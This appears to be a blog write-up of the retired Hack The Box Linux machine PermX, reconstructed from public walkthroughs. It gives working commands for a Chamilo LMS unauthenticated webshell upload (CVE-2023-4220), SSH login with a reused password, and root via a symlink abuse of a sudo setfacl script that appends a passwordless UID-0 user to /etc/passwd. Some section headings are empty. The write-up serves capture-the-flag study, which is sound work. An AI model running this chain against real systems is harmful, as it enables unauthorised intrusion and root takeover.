~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / permx.md

permx

Linux · Easy · released 2024-07-06 · retired 2024-11-02

Summary

This writeup is reconstructed from public walkthroughs (see Source attribution below). I have not personally rooted this box.

PermX is an Easy Linux box: Chamilo LMS 1.11.24 unauth file upload (CVE-2023-4220 / CVE-2023-31803) → PHP webshell as www-data. DB pw 03F6lY3uXAP2bkW8 reused for mtz SSH. Privesc: sudo /opt/acl.sh runs setfacl against a path that’s checked with [ -f ] (which follows symlinks). Symlink /etc/passwd into ~mtz/, then run the script to grant yourself write — append a UID-0 user → su to root.

The chain:

  1. CVE-2023-4220: POST to /main/inc/lib/javascript/bigupload/inc/bigUpload.php uploads any file to bigupload/files/ → webshell as www-data.
  2. app/config/configuration.phpchamilo : 03F6lY3uXAP2bkW8 reused for mtz SSH.
  3. sudo /opt/acl.sh mtz rwx /home/mtz/<file>setfacl on <file>. The script’s path check uses [ -f ] which resolves symlinks. Symlink /etc/passwd → grant write → append r00t::0:0::/root:/bin/bashsu r00t → root.

Recon

22/tcp     OpenSSH
80/tcp     Apache → permx.htb (default)
+ vhosts: www.permx.htb, lms.permx.htb (Chamilo 1.11.24)

Foothold — CVE-2023-4220

curl -F "[email protected]" \
   "http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported"
# upload completes; reach at:
curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/shell.php?c=id'
# www-data
$ cat /var/www/chamilo/app/config/configuration.php | grep db_password
... 'db_password' => '03F6lY3uXAP2bkW8',
$ ssh mtz@<TARGET>
Password: 03F6lY3uXAP2bkW8
$ cat /opt/acl.sh
#!/bin/bash
user="$1"; perm="$2"; target="$3"
if [[ "$target" != /home/mtz/* ]]; then echo bad; exit 1; fi
if [ ! -f "$target" ]; then echo bad; exit 1; fi
/usr/bin/setfacl -m u:"$user":"$perm" "$target"

# Path check passes for /home/mtz/passwd (symlink)
# [-f $target] follows the symlink; setfacl operates on the LINK TARGET
$ ln -sf /etc/passwd /home/mtz/passwd
$ sudo /opt/acl.sh mtz rwx /home/mtz/passwd
$ echo 'r00t::0:0::/root:/bin/bash' >> /etc/passwd
$ su r00t
# root

Why each step worked

Counterfactuals

Source attribution

Reconstruction is grounded in:

I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.

← all htb machines hackthebox.com ↗